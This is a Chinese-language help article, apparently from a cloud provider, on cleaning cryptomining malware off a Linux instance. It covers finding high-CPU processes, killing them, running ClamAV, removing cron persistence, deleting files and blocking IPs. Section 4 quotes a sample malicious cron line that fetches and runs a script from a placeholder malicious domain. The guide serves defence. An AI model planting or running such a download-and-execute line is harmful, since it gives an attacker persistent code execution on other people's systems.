Skip to content

Linux实例负载高问题排查和异常处理

重要

该方法仅能对部分实现较为简单木马进行删除。 现网大多数商业化恶意软件,会对系统内多个关键文件进行替换,并在存在用户会话时隐藏进程。 如您按照本文排查后情况无改善,请尝试备份数据后重装系统。

1. 问题现象

当 Linux 服务器被挖矿病毒感染时,通常会出现 CPU 占用率异常飙升(甚至 100%)、服务器卡顿、网络流量异常等现象。

  • 响应慢:SSH 命令执行卡顿,网站或 API 访问缓慢、超时。
  • 指标高:CPU、内存、磁盘 I/O 监控持续超过 80%。
  • 服务中断:关键进程被系统终止(OOM),实例自动重启。
  • 无法登录:SSH 连接被拒绝。

2. 查看高 CPU 占用进程

使用 top ​命令实时查看进程 CPU 占用率:按下 1 可查看 cpu 核心数。如图: image

重点查看平均负载,该负载表示过去 1、5、15 分钟的 cpu 平均负载。若系统并无程序在跑业务,但是该数字无限接近与于 cpu 核心数(例如核心数为 2,load average 的值接近 2)则系统可能中了挖矿病毒,需要按照如下方式进行排查

执行 top ​命令进入 top 界面后,按 P 键(大写),进程会按 CPU 占用率从高到低排序。 按 M (大写),进程会按内存占用率从高到低排序

找到可疑进程后,记录其 PID(进程 ID,左侧第一列数字) ,然后用 kill ​命令强制终止:

bash
# 替换<PID>为实际进程ID,-9表示强制杀死
sudo kill -9 <PID>
示例:如果 PID 1234,执行 `sudo kill -9 1234`

杀死后回到 top ​界面(按 q ​退出后重新执行 top),确认该进程是否消失。如果很快重新出现,说明有自动启动机制(下一步处理)。

3. 安装 ClamAV 杀毒软件

执行此步骤前需先确认包管理器还可以正常工作。

可优先采取开源杀毒方案部署后进行查杀,大部分发行版默认提供该软件。

如您的包管理器遭到破坏,可以尝试通过救援系统安装该软件后,挂载原系统磁盘进行查杀。

4. 清除恶意计划任务

查看当前用户的计划任务

bash
crontab -l

输出中如果有陌生的定时任务(比如每分钟执行某个脚本、下载某个文件),就是可疑项

(例如:​*/1 * * * * wget http://恶意域名/script.sh && sh script.sh)。

5. 查看系统级计划任务

病毒可能会在系统级目录添加计划任务,需检查以下文件:

查看系统级定时任务列表

bash
sudo cat /etc/crontab

查看定时任务脚本目录(这些目录里的脚本会被定时执行)

bash
sudo ls -l /etc/cron.d/
sudo ls -l /etc/cron.hourly/  # 每小时执行的脚本
sudo ls -l /etc/cron.daily/   # 每天执行的脚本

5.1. 删除恶意计划任务

  • 当前用户的任务:执行 crontab -e 进入编辑模式,删除可疑行。
  • 系统级任务 :直接删除可疑文件或编辑文件删除内容(需 root 权限):

示例:删除/etc/cron.d/下的恶意文件

bash
sudo rm -f /etc/cron.d/恶意文件名

或编辑系统级 crontab 文件删除可疑行

bash
sudo nano /etc/crontab

如果进程已消失,可搜索常见存放病毒的目录(病毒喜欢藏在临时目录或系统目录):

bash
# 搜索/tmp、/var/tmp等临时目录(这些目录通常权限较松)
sudo find /tmp /var/tmp -type f -mtime -1  # 查找1天内新增的文件
# 搜索名称可疑的文件(如包含mine、xmr、crypto等关键词)
sudo find / -name "*mine*" -o -name "*xmr*" 2>/dev/null  # 2>/dev/null忽略权限错误

5.2. 删除病毒文件

找到病毒文件后,直接删除(注意:不要误删系统文件,确认是恶意文件再操作):

bash
sudo rm -f /path/to/病毒文件  # 替换为实际路径,-f强制删除

6. 用防火墙封禁 IP

根据服务器使用的防火墙工具(iptables ​或 firewalld)封禁 IP:

6.1. 方式 1:使用 iptables

# 封禁IP(替换1.2.3.4为实际恶意IP)
sudo iptables -A INPUT -s 1.2.3.4 -j DROP  # 禁止该IP访问服务器
sudo iptables -A OUTPUT -d 1.2.3.4 -j DROP  # 禁止服务器访问该IP
# 保存规则(不同系统保存方式不同)
# Ubuntu/Debian:
sudo iptables-save > /etc/iptables/rules.v4
# CentOS/RHEL:
sudo service iptables save

6.2. 方式 2:使用 firewalld(CentOS/RHEL 7 + 等)

# 封禁IP(替换1.2.3.4为实际恶意IP)
sudo firewall-cmd --permanent --add-rich-rule='rule family="ipv4" source address="1.2.3.4" reject'
# 重新加载规则使其生效
sudo firewall-cmd --reload

7. 验证清理效果

执行 top ​命令观察 CPU 占用率,确认是否有高占用的可疑进程。

再次检查计划任务(crontab -l​、/etc/crontab ​等),确认没有恶意任务。

查看网络连接,确认没有连接到恶意 IP:

bash
ss -tuln  # 查看所有网络连接,检查是否有连接到被封禁的IP

8. 后处理

详细排查本地部署业务、服务、账号信息,并检索相关程序是否存在已知且公开的漏洞、弱口令。避免在短时间内二次感染病毒。

处理挖矿病毒的核心逻辑是:止损 → 终止进程 → 清除复活机制 → 删除病毒文件 → 封禁通信源头 → 验证清理。按照步骤操作,可有效排查清除部分挖矿病毒。

如果多次清理后仍复发,建议备份数据后重装系统。